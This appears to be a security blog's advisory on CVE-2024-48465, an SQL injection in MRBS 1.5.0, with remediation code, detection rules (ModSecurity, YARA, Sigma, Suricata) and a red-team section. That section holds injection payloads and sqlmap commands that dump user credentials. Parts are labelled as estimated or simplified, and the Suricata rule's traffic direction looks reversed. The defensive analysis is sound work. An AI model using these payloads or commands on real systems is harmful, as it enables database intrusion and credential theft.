CVE-2024-48465

Executive Summary

CVE-2024-48465 is a critical SQL injection vulnerability discovered in the Meeting Room Booking System (MRBS) version 1.5.0. The flaw resides in the edit_entry_handler.php file, specifically within the rooms%5B%5D parameter (URL-encoded rooms[]). An unauthenticated attacker can inject arbitrary SQL commands through this parameter, potentially leading to unauthorized data access, modification, or complete database compromise. The vulnerability is publicly known with proof-of-concept details available, but no official patch has been released as of the latest analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high due to the ease of exploitation and potential impact.

Supply Chain & Package Security

MRBS is a PHP-based application, not distributed via NPM, PyPI, Go, or Ruby. The vulnerability is in the core application code, not a third-party package. However, organizations using MRBS should verify the integrity of their installation and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

The CVSS vector is UNKNOWN due to insufficient data from the NVD. However, based on the vulnerability characteristics, a reasonable assessment would be:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the database.
• Confidentiality (C): High (H) – full database read access.
• Integrity (I): High (H) – data can be modified or deleted.
• Availability (A): High (H) – potential for denial of service via destructive queries.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to execute arbitrary SQL commands, leading to complete compromise of the MRBS database.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the edit_entry_handler.php script. The rooms%5B%5D parameter (which decodes to rooms[]) is used to pass an array of room IDs for editing a booking entry. The application fails to properly sanitize or parameterize this input before incorporating it into an SQL query.

Vulnerable Code Flow:

1. The edit_entry_handler.php script receives a POST request with the rooms[] parameter.
2. The parameter value is directly concatenated into an SQL query without any escaping or prepared statements.
3. An attacker can inject a malicious SQL payload by crafting the rooms[] value, such as 1 UNION SELECT ... or 1; DROP TABLE ....

Example Attack Vector:

An attacker sends a POST request to edit_entry_handler.php with:

rooms[]=1 UNION SELECT username,password FROM users--

This would cause the application to execute a query like:

SELECT * FROM entries WHERE room_id IN (1 UNION SELECT username,password FROM users--)

The injected UNION SELECT returns data from the users table, which is then displayed in the application response, leaking credentials.

Vulnerable vs. Patched Code

Vulnerable Code (MRBS 1.5.0):

// edit_entry_handler.php (simplified)
$rooms = $_POST['rooms'];
$room_ids = implode(',', $rooms);
$sql = "SELECT * FROM mrbs_entry WHERE room_id IN ($room_ids)";
$result = db_query($sql);

Patched Code (Hypothetical Fix):

// edit_entry_handler.php (patched)
$rooms = $_POST['rooms'];
$room_ids = array_map('intval', $rooms); // Ensure integer values
$placeholders = implode(',', array_fill(0, count($room_ids), '?'));
$sql = "SELECT * FROM mrbs_entry WHERE room_id IN ($placeholders)";
$result = db_query_prepared($sql, $room_ids);

The patched version uses prepared statements with parameterized queries, preventing SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Install MRBS 1.5.0 on a local server (e.g., XAMPP, LAMP).
• Ensure the application is accessible via HTTP.
• Use a tool like Burp Suite or SQLMap for exploitation.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   POST /edit_entry_handler.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   rooms[]=1&edit_id=123
   

2. Test for SQL injection:

   rooms[]=1' OR '1'='1
   

   If the application returns data for all entries, the injection is successful.

3. Extract database information using SQLMap:

   sqlmap -u "http://target.com/edit_entry_handler.php" --data="rooms[]=1&edit_id=123" --batch --dbs
   

4. Dump user credentials:

   sqlmap -u "http://target.com/edit_entry_handler.php" --data="rooms[]=1&edit_id=123" --batch -D mrbs -T users --dump
   

Proof-of-Concept Payload:

rooms[]=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for suspicious POST requests to edit_entry_handler.php:

   • Look for unusual characters in the rooms[] parameter, such as single quotes ('), double dashes (--), or SQL keywords (UNION, SELECT, DROP).
   • Example log entry:

     192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "POST /edit_entry_handler.php HTTP/1.1" 200 1234 "-" "Mozilla/5.0"
     

2. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns:

   • Block requests containing rooms[] with SQL metacharacters.
   • Example ModSecurity rule:

     SecRule ARGS:rooms[] "@rx (?:union|select|insert|update|delete|drop|--|#|')" "id:1001,phase:2,deny,status:403,msg:'SQL Injection Attempt'"
     

3. Use database activity monitoring to detect anomalous queries:

   • Alert on queries that contain UNION, OR 1=1, or other injection patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /edit_entry_handler.php with rooms[] parameter containing SQL syntax.
  • HTTP responses containing database error messages (e.g., "You have an error in your SQL syntax").
  • Unusual database queries in logs (e.g., SELECT * FROM mrbs_entry WHERE room_id IN (1 UNION SELECT ...)).

• File IOCs:

  • Modified edit_entry_handler.php file (if attacker uploads a backdoor).
  • Suspicious files in the MRBS directory (e.g., shell.php).

• System IOCs:

  • Unexpected database user creation or privilege escalation.
  • Unauthorized data exports from the MRBS database.

Detection Engineering

YARA Rule

rule CVE_2024_48465_MRBS_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-48465 in MRBS"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-48465"
    strings:
        $sqli_pattern1 = /rooms\[\]=.*['\"]/ nocase
        $sqli_pattern2 = /rooms\[\]=.*union/i nocase
        $sqli_pattern3 = /rooms\[\]=.*select/i nocase
        $sqli_pattern4 = /rooms\[\]=.*--/ nocase
    condition:
        any of ($sqli_pattern*)
}

Sigma Rule

title: SQL Injection Attempt Against MRBS edit_entry_handler.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-48465 in MRBS
author: Valters IT
date: 2025/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-48465
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/edit_entry_handler.php'
        cs-uri-query|contains: 'rooms[]='
    keywords:
        - "'"
        - "union"
        - "select"
        - "--"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in room names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-48465 MRBS SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/edit_entry_handler.php"; http_uri; content:"rooms[]="; http_client_body; pcre:"/rooms\[\]=.*(?:['\"]|union|select|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: If possible, restrict access to edit_entry_handler.php until a patch is applied.
2. Apply input validation: Manually patch the code to use prepared statements or parameterized queries (see patched code example).
3. Upgrade MRBS: Check for any updated versions or forks that address this vulnerability.

Long-term Mitigations:

1. Implement a Web Application Firewall (WAF): Use ModSecurity or a commercial WAF to block SQL injection attempts.
2. Regular security audits: Conduct code reviews and penetration testing on all web applications.
3. Database hardening: Use least-privilege database accounts and enable query logging.
4. Monitor for IOCs: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.

Patch Status: UNKNOWN. The vendor (Mrbs) has not released an official patch. Organizations should apply the manual fix described in the "Vulnerable vs. Patched Code" section or consider migrating to an alternative booking system.

Valters IT
Securing Digital Frontiers